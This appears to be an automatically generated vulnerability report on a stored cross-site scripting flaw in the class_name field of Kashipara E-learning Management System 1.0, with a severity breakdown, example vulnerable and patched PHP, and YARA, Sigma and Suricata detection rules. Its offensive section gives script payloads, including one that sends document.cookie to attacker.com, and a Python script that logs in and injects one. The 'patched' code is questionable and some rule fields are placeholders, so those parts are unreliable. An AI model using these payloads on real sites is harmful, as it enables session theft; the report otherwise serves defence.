CVE-2024-50840

Executive Summary

CVE-2024-50840 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Kashipara E-learning Management System Project version 1.0. The flaw resides in the /admin/class.php endpoint, where the class_name parameter is insufficiently sanitized, allowing remote attackers to inject and store arbitrary JavaScript code. This stored XSS can be triggered when an administrator or other user views the affected page, leading to session hijacking, credential theft, or further compromise of the application.

Impact: An attacker with low privileges can inject malicious scripts that execute in the context of any user visiting the class management page. This can lead to data exfiltration, account takeover, and lateral movement within the application.

Affected Component: /admin/class.php – class_name parameter.

Ecosystem: This is a standalone PHP application, not a WordPress plugin. The vulnerability is in the application's own code, not in Apache or Nginx.

Supply Chain & Package Security

This is a custom PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with access to the class management functionality.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data theft.
• Integrity (I): Low (L) – Script execution can modify content.
• Availability (A): None (N) – No direct impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Base Score: 5.4 (Medium)

Threat Level: Medium. The requirement for user interaction and low privileges reduces the severity, but the stored nature of the XSS makes it persistent and dangerous.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS. The application fails to sanitize or encode user input before storing it in the database and later rendering it in the browser.

Root Cause: The class_name parameter in /admin/class.php is directly inserted into the database without proper validation or output encoding. When the class list is displayed, the stored payload is executed in the browser.

Attack Flow:

1. An attacker with access to the admin panel (or any user with class creation privileges) navigates to /admin/class.php.
2. The attacker submits a new class with a malicious payload in the class_name field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When an administrator or any user views the class list, the payload executes in their browser.
5. The attacker can use this to steal cookies, session tokens, or perform actions on behalf of the victim.

Technical Details:

• The vulnerable code likely uses $_POST['class_name'] without any filtering.
• The stored data is echoed back in an HTML context without htmlspecialchars() or similar encoding.
• No Content Security Policy (CSP) headers are in place to mitigate script execution.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// Vulnerable: No sanitization
$class_name = $_POST['class_name'];
$sql = "INSERT INTO classes (name) VALUES ('$class_name')";
mysqli_query($conn, $sql);
?>

Patched Code (PHP):

<?php
// Patched: Input sanitization and output encoding
$class_name = mysqli_real_escape_string($conn, $_POST['class_name']);
$class_name = htmlspecialchars($class_name, ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO classes (name) VALUES ('$class_name')";
mysqli_query($conn, $sql);
?>

Explanation:

• mysqli_real_escape_string() prevents SQL injection but does not prevent XSS.
• htmlspecialchars() with ENT_QUOTES encodes special HTML characters, preventing script execution.
• Output encoding should also be applied when displaying the data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Kashipara E-learning Management System 1.0.
• A valid user account with class creation privileges.

Exploit Steps:

1. Log in to the application.
2. Navigate to /admin/class.php.
3. Submit a new class with the following payload in the class_name field:

   <script>alert(document.cookie)</script>
   

4. Any user viewing the class list will see an alert with their cookies.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Automated Exploit (Python):

import requests

target = "http://target.com/admin/class.php"
session = requests.Session()

# Login first (adjust credentials)
login_data = {"username": "admin", "password": "password"}
session.post("http://target.com/login.php", data=login_data)

# Inject XSS payload
payload = {"class_name": "<script>alert('XSS')</script>"}
session.post(target, data=payload)
print("Payload injected. Visit /admin/class.php to trigger.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin/class.php with suspicious class_name parameters containing <script> tags.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search database for stored XSS payloads in the classes table.
• Review application logs for unusual POST requests to /admin/class.php.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers.
• Use HTTP-only cookies to prevent JavaScript access.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin/class.php with class_name containing <script> tags.
• Outbound connections to attacker-controlled domains from the application server.

File IOCs:

• Modified entries in the classes table of the database containing JavaScript code.

Log IOCs:

• Web server logs showing class_name=<script>...</script> in the request body.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Kashipara E-learning Management System"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50840"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $class_name = "class_name"
    condition:
        $xss_payload and $class_name
}

Sigma Rule

title: Stored XSS in Kashipara E-learning Management System
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via class_name parameter
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/class.php'
        cs-uri-query|contains: 'class_name'
    keywords:
        - '<script'
        - 'javascript:'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in class names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50840 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/class.php"; http_uri; content:"class_name"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access to trusted users only.
2. Apply input validation – Sanitize the class_name parameter using htmlspecialchars() and strip_tags().
3. Implement output encoding – Encode all user-supplied data before rendering in HTML.

Long-term Fixes:

• Upgrade to a patched version of the software (if available).
• Conduct a full security audit of the application.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Use Content Security Policy (CSP) headers to block inline scripts.

Workaround:

• Manually edit the source code to add sanitization as shown in the patched code section.

This report was generated by Valters IT DevSecOps & CTI Expert System.